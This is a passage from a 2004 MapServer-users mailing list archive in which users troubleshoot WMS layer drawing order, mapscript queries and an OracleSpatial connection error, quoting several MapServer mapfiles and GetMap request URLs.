>     OUTLINECOLOR 0 0 0
>     #OVERLAYCOLOR 0 0 0
>     SYMBOL 'routetag'
>     SIZE 25
>     OVERLAYSYMBOL "route5"
>     OVERLAYSIZE 15
>     OVERLAYCOLOR 0 0 0
>     LABEL
>       POSITION CC
>       COLOR 255 255 255
>       FONT fritqat
>       TYPE truetype
>       SIZE 0
>       PARTIALS false
>     END
>   END
>   METADATA
>     "WMS_TITLE" "RoadSegments"
>     "WMS_ABSTRACT" "RoadSegments layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END #Layer
>
> LAYER
>   NAME Streams
>   TYPE LINE
>   STATUS ON
>   DATA Streams
>   PROJECTION
>     "init=epsg:4326"
>   END
>   LABELITEM "NAME"
>   CLASS
>     NAME "Streams"
>     COLOR 0 0 205
>     OUTLINECOLOR 199 199 199
>     SYMBOL 'circle'
>     SIZE 2
>     LABEL
>       ANGLE AUTO
>       COLOR  0 0 205
>       BACKGROUNDCOLOR 255 255 255
>       FONT fritqat-italic
>       TYPE truetype
>       SIZE 10
>       POSITION UC
>       PARTIALS FALSE
>       OFFSET 30 5
>     END
>   END
>   METADATA
>     "WMS_TITLE" "cite:Streams"
>     "WMS_ABSTRACT" "Streams layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME Forests
>   TYPE POLYGON
> #  STATUS ON
>   STATUS DEFAULT
>   DATA Forests
>   PROJECTION
>     "init=epsg:4326"
>   END
>   TEMPLATE "forests.html"
>   CLASS
>     NAME "Forests"
>     COLOR 0 150 0
>     OUTLINECOLOR 0 0 0
>     MINSIZE 4
>     #SYMBOL "sapin"
>     SYMBOL "tree-gif"
>     SIZE 90
> #    OVERLAYSYMBOL "square"
> #    OVERLAYSIZE 50
> #    OVERLAYCOLOR -1 -1 -1
>     TEXT "State | Forest"
>     LABEL
>       ANGLE AUTO
>       COLOR  0 0 0
>       BACKGROUNDCOLOR 255 255 255
>       FONT fritqat
>       TYPE truetype
>       SIZE 18
>       POSITION AUTO
>       PARTIALS FALSE
>       WRAP "|"
>       OFFSET 100 -60
>     END
>   END
>   METADATA
>     "WMS_TITLE" "cite:Forests"
>     "WMS_ABSTRACT" "Forests layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME Bridges
>   TYPE POINT
>   STATUS ON
>   DATA Bridges
>   PROJECTION
>     "init=epsg:4326"
>   END
>   LABELITEM "NAME"
>   CLASS
>     NAME "Bridges"
>     COLOR 0 0 0
>     SYMBOL 'bridge'
>     SIZE 40
>     LABEL
>       ANGLE AUTO
>       COLOR  0 0 0
>       FONT fritqat-italic
>       TYPE truetype
>       SIZE 10
>       POSITION AUTO
>       PARTIALS FALSE
>       OFFSET 20 -8
>     END
>   END
>   METADATA
>     "WMS_TITLE" "cite:Bridges"
>     "WMS_ABSTRACT" "Bridges layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME Lakes
>   TYPE POLYGON
>   STATUS ON
>   DATA Lakes
>   PROJECTION
>     "init=epsg:4326"
>   END
>   TEMPLATE "lakes.html"
>   CLASS
>     NAME "Lakes"
>     COLOR 0 0 205
>     SIZE 8
>     TEXT "BLUE | LAKE"
>     LABEL
>       ANGLE AUTO
>       COLOR  255 255 255
>       FONT fritqat
>       TYPE truetype
>       SIZE 9
>       POSITION LL
>       PARTIALS FALSE
>       WRAP "|"
>       OFFSET 15 -10
>       FORCE true
>     END
>   END
>   METADATA
>     "WMS_TITLE" "cite:Lakes"
>     "WMS_ABSTRACT" "Lakes layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME Buildings
>   TYPE POLYGON
>   STATUS ON
>   DATA Buildings
>   PROJECTION
>     "init=epsg:4326"
>   END
>   TEMPLATE "buildings.html"
>   CLASS
>     NAME "Buildings"
>     COLOR 255 255 255
>     OUTLINECOLOR 0 0 0
>   END
>   METADATA
>     "WMS_TITLE" "cite:Buildings"
>     "WMS_ABSTRACT" "Buildings layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME BuildingCenters
>   TYPE POINT
>   STATUS ON
>   DATA BuildingCenters
>   PROJECTION
>     "init=epsg:4326"
>   END
>   CLASS
>     NAME "BuildingCenters"
>     COLOR 0 0 0
>     SYMBOL 'circle'
>     SIZE 4
>   END
>   METADATA
>     "WMS_TITLE" "cite:BuildingCenters"
>     "WMS_ABSTRACT" "BuildingCenters layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> END # Map File
>
>
> nicolas.fortin at ec.gc.ca wrote:
>
>> Hi Heryk,
>>
>> Only the layer 1 is set to default, all other are set to OFF.  I 
>> thought that doesn't matter in WMS cause you only got the layers you 
>> are querying.
>>
>> I set layer 1 to ON and
>> 1- try LAYERS=2,1 and only got layer 2
>> 2- try LAYERS=1 and got nothing
>>
>> I set layer 1 to OFF (like the others) and
>> 1- try LAYERS=2,1 and only got layer 2
>> 2- try LAYERS=1 and got nothing
>>
>> Weird...
>> Nick
>>
>> -----Message d'origine-----
>> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>> Envoy? : Monday, January 12, 2004 4:00 PM
>> ? : 'nicolas.fortin at ec.gc.ca'
>> Objet : RE: [Mapserver-users] WMS LAYERS=
>>
>>
>> Hi,
>> Are your layers set to "default" in the mapfile? Is so, you will be 
>> calling layers 1,2 and all the layers that are set to default! So 
>> your might be calling layers 1 and 2 a second time around! Try 
>> setting them to "ON".
>>
>> Bonne chance!
>> H?ryk
>>
>>
>> -----Message d'origine-----
>> De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy? 
>> : Monday, January 12, 2004 3:30 PM ? : 
>> mapserver-users at lists.gis.umn.edu Objet
>> : [Mapserver-users] WMS LAYERS=
>>
>>
>> Hi list,
>>
>> When I make a WMS request with the layers parameters like LAYERS=2,1
>>
>> In accordance to the OGC WMS Spec, layer 1 is suppose to be at the 
>> top of layer 2 but it isn't the case...why??
>>
>> Even if I change to LAYERS=1,2 ... no change
>>
>> In the mapfile, layer 1 is at the end of the file and is always the 
>> top layer on others applications using this mapfile.
>>
>>
>> Thx for your help,
>>
>> Nicolas Fortin
>> Math?maticien, Programmeur, Analyste de donn?es
>> SMC-Qu?bec Hydrologie, Environnement Canada
>> 1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5
>> (418)648-2516
>> nicolas.fortin at ec.gc.ca 
>>
>> _______________________________________________
>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>> _______________________________________________
>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>>
>>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>



-- 
  



From eric at gomoos.org  Thu Jan 15 10:44:42 2004
From: eric at gomoos.org (Eric Bridger)
Date: 15 Jan 2004 13:44:42 -0500
Subject: [Mapserver-users] mapscript: queryByPoint() returns no results
In-Reply-To: <200401151329.02701.spoerri@duke.edu>
References: <86256E1C.00500CDA.00@mail.fbfs.com>
 <200401151137.43574.spoerri@duke.edu>
 <1074188844.1435.43.camel@ubet.gomoos.org>
 <200401151329.02701.spoerri@duke.edu>
Message-ID: <1074192288.1435.47.camel@ubet.gomoos.org>

Not sure about the TEMPLATE keyword. But turning a layer on is not the
same as drawing it. So a layer can be queried even when not visible.

On Thu, 2004-01-15 at 13:29, Christoph Spoerri wrote:
> 
> 
> BTW. does anybody know why there has to be the TEMPLATE keyword in the 
> layer/class? This make sense for the mapserver cgi, but not necessarly for 
> the mapscripts. Also, I would think one should be able to query a later even 
> when it's not visible.
> 
> Christoph
> 



From bartvde at xs4all.nl  Thu Jan 15 10:52:26 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Thu, 15 Jan 2004 19:52:26 +0100
Subject: [Mapserver-users] RE : OracleSpatial Error
In-Reply-To: 
References: 
Message-ID: 

Hi Nicolas,

here is some info on the MS_ERRORFILE:

http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?DebuggingMapserver

What happens if you make a mistake in the DATA part, e.g. a non-existent 
table? What kind of error message do you get then, normally you would get 
an ORA message, but if it cannot make the connection at all, there must be 
something wrong at the connection level. But just to rule out things.

Is the OCI library in the path?

Best regards,
Bart

On Thu, 15 Jan 2004 13:39:19 -0500,  wrote:

>
> Hi Bart!
>
> Yes it's the full error message ... No ORA-XXXXX message so it's 
> difficult
> to know what happens.
> In the logfile of mapserver (DEBUG TRUE and LOG "log.txt"), the same 
> message
> is writing by mapserver.
> I didn't know about the MS_ERRORFILE Env Var...what is it??
>
> I'm on Windows 2000 and IIS and both Oracle (Client and DB) are 9.2.0.3
> I can't replicate this error nowhere but on this server...and I tried
> mapserver on 4 workstations/server now.
>
> Thx,
> Nicolas
>
> -----Message d'origine-----
> De : Bart van den Eijnden [mailto:bartvde at xs4all.nl]
> Envoy? : Thursday, January 15, 2004 1:35 PM
> ? : nicolas.fortin at ec.gc.ca; mapserver-users at lists.gis.umn.edu
> Objet : Re: [Mapserver-users] RE : OracleSpatial Error
>
>
> Hi Nicolas,
>
> is this the full error message, or an error message showing up in your
> browser after performing a WMS request?
>
> In other words, have you set the MS_ERRORFILE environment variable to get
> full debugging output?
>
> BTW: what platform is your server on and which Oracle version? Do you 
> have
> the same (version of the) Oracle client installed on the server and on
> your workstation? What webserver do you have?
>
> Best regards,
> Bart
>
> On Thu, 15 Jan 2004 09:35:53 -0500,  wrote:
>
>>
>> Hi again!
>>
>> My Oracle problem on the server is not solved yet.
>>
>> msDrawMap(): Image handling error. Failed to draw layer named '1_02'.
>> msOCIConnect() in msOracleSpatialLayerOpen(): OracleSpatial error.
>>
>> More observations :
>> I can get an image with the shp2img utilities and the same mapfile. I
>> can make Oracle spatial query from SQL*Plus on the server without
>> error. I use the same layers and Oracle connection/user of this
>> mapfile on my workstation without error.
>>
>> The error only appears when the request is made to the web server
>>
>> I'm open to all kind of suggestions!
>> Thx
>> Nicolas
>>
>> -----Message d'origine-----
>> De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy? :
>> Tuesday, January 13, 2004 10:29 AM ? : nsavard at dmsolutions.ca;
>> hjulien at nrcan.gc.ca Cc : mapserver-users at lists.gis.umn.edu
>> Objet : RE : RE : RE : [Mapserver-users] WMS LAYERS= [SOLVED] But an
>> Orac le
>> one too!
>>
>>
>>
>> Problem solved!
>> The mapfile sent below is not exactly the right one, in the other, one
>> group
>> has the same name as a layer.  By renaming the group, all is back to
>> normal.
>>
>> Thx for your help!
>>
>> Now we have a weird oracle error message from the server we're trying
>> to install mapserver, here it is:
>> msDrawMap(): Image handling error. Failed to draw layer named '1_02'.
>> msOCIConnect() in msOracleSpatialLayerOpen(): OracleSpatial error.
>>
>> I searched the archive but found nothing...
>> An idea? Someone...
>>
>> Nick
>>
>> -----Message d'origine-----
>> De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy? :
>> Tuesday, January 13, 2004 9:46 AM ? : nsavard at dmsolutions.ca
>> Cc : mapserver-users at lists.gis.umn.edu
>> Objet : RE : RE : [Mapserver-users] WMS LAYERS=
>>
>>
>>
>> Hi Normand, thx for your answer!
>> No, you don't have access to it cause it's only intranet for the
>> moment...
>>
>> This afternoon, I'll try to place the layers like Heryk said to see if
>> it works.
>>
>> Here's my wms request:
>> http://f044d065/mapserv/mapcmitest2.asp?REQUEST=GetMap&SERVICE=wms&VER
>> SION=1
>> .1.1&Layers=2,1&BBOX=7610000,1222000,7622000,1234000
>>
>> And my mapfile:
>> #
>> ---------------------------------------------------------------------
>> # Mapserver 4.0 for Oracle
>> # Nicolas Fortin, Env Can nicolas.fortin at ec.gc.ca
>> # MapFile Test pour la CMI V1.4
>> # ---------------------------------------------------------------------
>>
>> NAME IJC4
>> EXTENT 7610000 1222000 7622000 1234000 #Lac St-Louis
>> SIZE 425 425
>> SYMBOLSET 'C:\Inetpub\wwwroot\mapserv\symbols\symbols35.sym'
>>
>> # Projection LCC de la CMI
>> PROJECTION
>>   "proj=lcc"
>>   "ellps=GRS80"
>>   "lat_0=63"
>>   "lon_0=-91.8666"
>>   "lat_1=49"
>>   "lat_2=77"
>>   "x_0=6200000"
>>   "y_0=2958000"
>>   "datum=NAD83"
>>   "units=m"
>> END
>>
>> WEB
>>   TEMPLATE defaultcmitest1.html
>>   HEADER header.html
>>   FOOTER footer.html
>>   IMAGEPATH "C:/Inetpub/wwwroot/tmp/"
>>   IMAGEURL "/tmp/"
>>   METADATA
>>     wms_title "WMS Quebec Node for IJC test2"
>>     wms_onlineresource "http://f044d065/mapserv/mapcmitest2.asp?"
>>     wms_contactelectronicmailaddress "nicolas.fortin at ec.gc.ca"
>>     wms_contactperson "Nicolas Fortin"
>>     wms_contactorganization "Environnement Canada, SMC-Hydrologie"
>>     wms_contactposition "Programmeur, Analyste de donn?es num?riques"
>>     wms_srs "EPSG:4326 EPSG:4269 EPSG:2145 EPSG:42304"
>>   END
>> END
>>
>> LEGEND
>>   STATUS ON
>>   LABEL
>>      COLOR 0 0 0
>>      SHADOWCOLOR 218 218 218
>>      SHADOWSIZE 2 2
>>      TYPE BITMAP
>>      SIZE MEDIUM
>>      POSITION CC
>>      PARTIALS FALSE
>>      BUFFER 2
>>   END
>> END
>>
>> REFERENCE
>>   STATUS ON
>>   IMAGE "c:\Inetpub\wwwroot\mapserv\images\ref_cmi_lite2.gif"
>>   SIZE 150 150
>>   EXTENT 7549910 1161398 7689518 1363371
>>   COLOR -1 -1 -1
>>   OUTLINECOLOR 255 0 0
>> END
>>
>> LAYER
>>   NAME "2"
>>   TYPE POLYGON
>>   CONNECTIONTYPE oraclespatial
>>   CONNECTION "user/****@quebijc"
>>   DATA "POLYGON FROM USR_WATERSHED.VWTRSD_LCC USING SRID 3000000"
>>   STATUS OFF
>>   DUMP TRUE
>>
>>   METADATA
>>     wms_title "Quebec Watersheds"
>>     wms_extent "7035577.31 1082076.03 7833285.05 1507787.39"
>>   END
>>
>>   PROJECTION
>>     "proj=lcc"
>>     "ellps=GRS80"
>>     "lat_0=63"
>>     "lon_0=-91.8666"
>>     "lat_1=49"
>>     "lat_2=77"
>>     "x_0=6200000"
>>     "y_0=2958000"
>>     "datum=NAD83"
>>     "units=m"
>>   END
>>
>>   CLASS
>>     NAME "Watershed"
>>     SYMBOL 'CIRCLE'
>>     SIZE 2
>>     COLOR 255 255 255
>>     OUTLINECOLOR 0 204 0
>>   END
>> END
>>
>> LAYER
>>   NAME "1"
>>   TYPE LINE
>>   CONNECTIONTYPE oraclespatial
>>   CONNECTION "user/****@quebijc"
>>   DATA "LINE FROM USR_SHORELINE.VSHORELINE_LCC USING SRID 3000000"
>>   STATUS DEFAULT
>>   GROUP "Shoreline"
>>   DUMP TRUE
>>
>>   METADATA
>>     wms_title "St. Lawrence River Detailed Shoreline"
>>     wms_extent "7563132.5 1166237.24 7684888.9 1363371.77"
>>     wms_group_title "Shoreline"
>>   END
>>
>>   PROJECTION
>>     "proj=lcc"
>>     "ellps=GRS80"
>>     "lat_0=63"
>>     "lon_0=-91.8666"
>>     "lat_1=49"
>>     "lat_2=77"
>>     "x_0=6200000"
>>     "y_0=2958000"
>>     "datum=NAD83"
>>     "units=m"
>>   END
>>
>>   CLASS
>>     NAME "Detailed Shoreline"
>>     COLOR 0 51 255
>>     SYMBOL 'CIRCLE'
>>     SIZE 1
>>   END
>> END # Shoreline
>>
>> END
>>
>>
>> -----Message d'origine-----
>> De : Normand Savard [mailto:nsavard at dmsolutions.ca]
>> Envoy? : Monday, January 12, 2004 5:05 PM
>> ? : nicolas.fortin at ec.gc.ca
>> Cc : hjulien at nrcan.gc.ca; mapserver-users at lists.gis.umn.edu Objet :
>> Re:
>> RE :
>> [Mapserver-users] WMS LAYERS=
>>
>>
>> Hi,
>>
>> I tried to replicate this problem without success by using our WMS
>> server used during the OGC compliance tests.   I also used the OGC test
>> suite requests.  I joined both the map file and the requests sent (see
>> below).  Theses requests contain three layers.  In the first request,
>> the "Forest" layer is drawn first.  In the second request, the
>> "Forest" layer is drawn last.  You can also see that I modified the
> mapfile to
>> set the "Forest" layer status to "DEFAULT".   It does not seem to affect
>> the drawing order.  But maybe I'm missing something.  Do we have
>> access your WMS server?  It is possible to have a copy of your mapfile
>> and the request you are currently sending?
>>
>> Norm
>>
>>
>>
>> The requests used are.
>>
>>
>> http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUES
>> T=GetM
>>
> ap&LAYERS=Forests,Lakes,NamedPlaces&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.00
>> 24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif
>>
>>
>> http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUES
>> T=GetM
>>
> ap&LAYERS=NamedPlaces,Lakes,Forests&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.00
>> 24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif
>>
>>
>>
>> Our map file is as follow:
>>
>> #
>> # Start of map file
>> #
>> # $Id: ogc_cite_wms_server.map,Exp $
>> #
>> NAME OGC_CITE
>> STATUS ON
>> SIZE 600 400
>> ## EPSG:4326 extents
>> EXTENT -2 -2 -1 6
>> #EXTENT -0.0042 -0.0024 0.0042 0.0024
>>
>> UNITS METERS
>> SHAPEPATH "../data/shapefile"
>> IMAGECOLOR 255 255 255
>> FONTSET ../etc/fonts.txt
>> SYMBOLSET ../etc/symbols.sym
>>
>> #
>> # Start of web interface definition
>> #
>> WEB
>> # On Windows systems, /tmp and /tmp/ms_tmp/ should be created at the
>> root #
>> of the drive where the .MAP file resides. #
>>   IMAGEPATH "/tmp/ms_tmp/"
>>   IMAGEURL "/ms_tmp/"
>> #  LOG "/tmp/gmap.log"
>>   METADATA
>>     "WMS_TITLE"         "cite:OGC_CITE WMS Server"
>>     "WMS_ONLINERESOURCE"
>> "http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?"
>>     "WMS_SRS"           "EPSG:4326"
>>     "OWS_SCHEMAS_LOCATION" "http://ogc.dmsolutions.ca"
>>     "WMS_ACCESSCONTRAINTS" "none"
>>     "WMS_FEES"              "none"
>>
>>   END
>> END
>>
>> PROJECTION
>>   "init=epsg:4326"
>> END
>>
>> QUERYMAP
>>   SIZE 200 200
>>   STATUS ON
>>   STYLE HILITE
>>   COLOR 255 0 0
>> END
>>
>> #
>> # Start of layer definitions
>> #
>>
>> LAYER
>>   NAME BasicPolygons
>>   TYPE POLYGON
>>   STATUS OFF
>>   DATA BasicPolygons
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   TEMPLATE "basicpolygons.html"
>>   CLASS
>>     NAME "BasicPolygons"
>>     COLOR 194 194 194
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:BasicPolygons"
>>     "WMS_ABSTRACT" "BasicPolygons layer."
>> #    "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME DividedRoutes
>>   TYPE LINE
>>   STATUS ON
>>   DATA DividedRoutes
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   CLASS
>>     NAME "DividedRoutes"
>>     COLOR 0 0 0
>>     OUTLINECOLOR 0 0 0
>>     SYMBOL 'circle'
>>     SIZE 6
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:DividedRoutes"
>>     "WMS_ABSTRACT" "DividedRoutes layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME DividedRoutes_anno
>>   STATUS ON
>>   DATA DividedRoutes
>>   TYPE ANNOTATION
>>   LABELITEM "NAME"
>>   CLASS
>>     NAME "DividedRoutesAnnotations"
>>     COLOR 255 255 255
>>     OUTLINECOLOR 0 0 0
>>     SYMBOL 'routetag'
>>     SIZE 40
>>     OVERLAYSYMBOL "route75"
>>     OVERLAYSIZE 15
>>     OVERLAYCOLOR 0 0 0
>>     LABEL
>>       POSITION CC
>>       COLOR 255 255 255
>>       FONT fritqat
>>       TYPE truetype
>>       SIZE 0
>>       PARTIALS false
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "DividedRoutes"
>>     "WMS_ABSTRACT" "Divided routes layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME MapNeatline
>>   TYPE LINE
>>   STATUS ON
>>   DATA MapNeatline
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   CLASS
>>     NAME "MapNeatline"
>>     COLOR 0 0 0
>>     SYMBOL 'circle'
>>     SIZE 3
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:MapNeatline"
>>     "WMS_ABSTRACT" "MapNeatline layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME NamedPlaces
>>   TYPE POLYGON
>>   STATUS ON
>>   DATA NamedPlaces
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   LABELITEM "NAME"
>>   CLASSITEM "NAME"
>>   TEMPLATE "namedplaces.html"
>>   CLASS
>>     NAME "Ashton"
>>     EXPRESSION "Ashton"
>>     #COLOR 153 153 153
>>     COLOR 192 192 192
>>     OUTLINECOLOR 0 0 0
>>     SIZE 8
>>     LABEL
>>       ANGLE AUTO
>>       COLOR  0 0 0
>>       BACKGROUNDCOLOR 192 192 192
>>       FONT fritqat
>>       TYPE truetype
>>       SIZE 10
>>       POSITION LR
>>       OFFSET 10 10
>>       PARTIALS FALSE
>>     END
>>   END
>>   CLASS
>>     NAME "Goose Island"
>>     EXPRESSION "Goose Island"
>>     COLOR 255 255 255
>>     SIZE 8
>>     TEXT "Goose | Island"
>>     LABEL
>>       ANGLE AUTO
>>       COLOR  0 0 0
>>       BACKGROUNDCOLOR 255 255 255
>>       FONT fritqat
>>       TYPE truetype
>>       SIZE 4
>>       POSITION CC
>>       PARTIALS FALSE
>>       WRAP "|"
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:NamedPlaces"
>>     "WMS_ABSTRACT" "NamedPlaces layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME Ponds
>>   TYPE POLYGON
>>   STATUS ON
>>   DATA Ponds
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   TEMPLATE "ponds.html"
>>   CLASS
>>     NAME "Ponds"
>>     COLOR 0 255 255
>>     OUTLINECOLOR 0 0 0
>>     TEXT "Stock Pond"
>>     LABEL
>>       COLOR  0 0 0
>>       FONT fritqat
>>       TYPE truetype
>>       SIZE 9
>>       #POSITION AUTO
>>       POSITION UC
>>       PARTIALS FALSE
>>       OFFSET 0 23
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:Ponds"
>>     "WMS_ABSTRACT" "Ponds layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME RoadSegments
>>   TYPE LINE
>>   STATUS ON
>>   DATA RoadSegments
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   LABELITEM "NAME"
>>   CLASSITEM "NAME"
>>   CLASS
>>     NAME "MainStreet"
>>     EXPRESSION "Main Street"
>>     SYMBOL 'circle'
>>     SIZE 3
>>     COLOR 238 0 0
>>     LABEL
>>       ANGLE AUTO
>>       COLOR  0 0 0
>>       FONT fritqat-italic
>>       TYPE truetype
>>       SIZE 10
>>       POSITION UC
>>       PARTIALS FALSE
>>       OFFSET 0 2
>>     END
>>   END
>>   CLASS
>>     NAME "Route5"
>>     EXPRESSION "Route 5"
>>     SYMBOL 'circle'
>>     SIZE 3
>>     COLOR 0 0 0
>>   END
>>   CLASS
>>     NAME "Route75"
>>     EXPRESSION "Dirt Road by Green Forest"
>>     SYMBOL 'circle'
>>     SIZE 5
>>     #COLOR 255 255 0
>>     COLOR 192 160 0
>>     TEXT "Dirt Road"
>>     LABEL
>>       ANGLE 90
>>       COLOR  0 0 0
>>       FONT fritqat-italic
>>       TYPE truetype
>>       SIZE 10
>>       POSITION AUTO
>>       PARTIALS FALSE
>>       #OUTLINECOLOR 255 255 255
>>       OFFSET 0 5
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:RoadSegments"
>>     "WMS_ABSTRACT" "RoadSegments layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME RoadSegments_anno
>>   STATUS ON
>>   DATA RoadSegments
>>   TYPE ANNOTATION
>>   CLASSITEM "FID"
>>   LABELITEM "NAME"
>>   CLASS
>>     NAME "Route5NorthEastAnnotations"
>>     EXPRESSION "104"
>>     COLOR 255 255 255
>>     OUTLINECOLOR 0 0 0
>>     #OVERLAYCOLOR 0 0 0
>>     SYMBOL 'routetag'
>>     SIZE 25
>>     OVERLAYSYMBOL "route5"
>>     OVERLAYSIZE 15
>>     OVERLAYCOLOR 0 0 0
>>     LABEL
>>       POSITION CC
>>       COLOR 255 255 255
>>       FONT fritqat
>>       TYPE truetype
>>       SIZE 0
>>       PARTIALS false
>>     END
>>   END
>>   CLASS
>>     NAME "Route5WestAnnotations"
>>     EXPRESSION "102"
>>     COLOR 255 255 255
>>     OUTLINECOLOR 0 0 0
>>     #OVERLAYCOLOR 0 0 0
>>     SYMBOL 'routetag'
>>     SIZE 25
>>     OVERLAYSYMBOL "route5"
>>     OVERLAYSIZE 15
>>     OVERLAYCOLOR 0 0 0
>>     LABEL
>>       POSITION CC
>>       COLOR 255 255 255
>>       FONT fritqat
>>       TYPE truetype
>>       SIZE 0
>>       PARTIALS false
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "RoadSegments"
>>     "WMS_ABSTRACT" "RoadSegments layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END #Layer
>>
>> LAYER
>>   NAME Streams
>>   TYPE LINE
>>   STATUS ON
>>   DATA Streams
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   LABELITEM "NAME"
>>   CLASS
>>     NAME "Streams"
>>     COLOR 0 0 205
>>     OUTLINECOLOR 199 199 199
>>     SYMBOL 'circle'
>>     SIZE 2
>>     LABEL
>>       ANGLE AUTO
>>       COLOR  0 0 205
>>       BACKGROUNDCOLOR 255 255 255
>>       FONT fritqat-italic
>>       TYPE truetype
>>       SIZE 10
>>       POSITION UC
>>       PARTIALS FALSE
>>       OFFSET 30 5
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:Streams"
>>     "WMS_ABSTRACT" "Streams layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME Forests
>>   TYPE POLYGON
>> #  STATUS ON
>>   STATUS DEFAULT
>>   DATA Forests
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   TEMPLATE "forests.html"
>>   CLASS
>>     NAME "Forests"
>>     COLOR 0 150 0
>>     OUTLINECOLOR 0 0 0
>>     MINSIZE 4
>>     #SYMBOL "sapin"
>>     SYMBOL "tree-gif"
>>     SIZE 90
>> #    OVERLAYSYMBOL "square"
>> #    OVERLAYSIZE 50
>> #    OVERLAYCOLOR -1 -1 -1
>>     TEXT "State | Forest"
>>     LABEL
>>       ANGLE AUTO
>>       COLOR  0 0 0
>>       BACKGROUNDCOLOR 255 255 255
>>       FONT fritqat
>>       TYPE truetype
>>       SIZE 18
>>       POSITION AUTO
>>       PARTIALS FALSE
>>       WRAP "|"
>>       OFFSET 100 -60
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:Forests"
>>     "WMS_ABSTRACT" "Forests layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME Bridges
>>   TYPE POINT
>>   STATUS ON
>>   DATA Bridges
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   LABELITEM "NAME"
>>   CLASS
>>     NAME "Bridges"
>>     COLOR 0 0 0
>>     SYMBOL 'bridge'
>>     SIZE 40
>>     LABEL
>>       ANGLE AUTO
>>       COLOR  0 0 0
>>       FONT fritqat-italic
>>       TYPE truetype
>>       SIZE 10
>>       POSITION AUTO
>>       PARTIALS FALSE
>>       OFFSET 20 -8
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:Bridges"
>>     "WMS_ABSTRACT" "Bridges layer."
>>     "WMS_SRS" "EPSG:4326"
>>   END
>> END # layer
>>
>> LAYER
>>   NAME Lakes
>>   TYPE POLYGON
>>   STATUS ON
>>   DATA Lakes
>>   PROJECTION
>>     "init=epsg:4326"
>>   END
>>   TEMPLATE "lakes.html"
>>   CLASS
>>     NAME "Lakes"
>>     COLOR 0 0 205
>>     SIZE 8
>>     TEXT "BLUE | LAKE"
>>     LABEL
>>       ANGLE AUTO
>>       COLOR  255 255 255
>>       FONT fritqat
>>       TYPE truetype
>>       SIZE 9
>>       POSITION LL
>>       PARTIALS FALSE
>>       WRAP "|"
>>       OFFSET 15 -10
>>       FORCE true
>>     END
>>   END
>>   METADATA
>>     "WMS_TITLE" "cite:Lakes"
>>     "WMS_ABSTRACT" "Lakes layer."
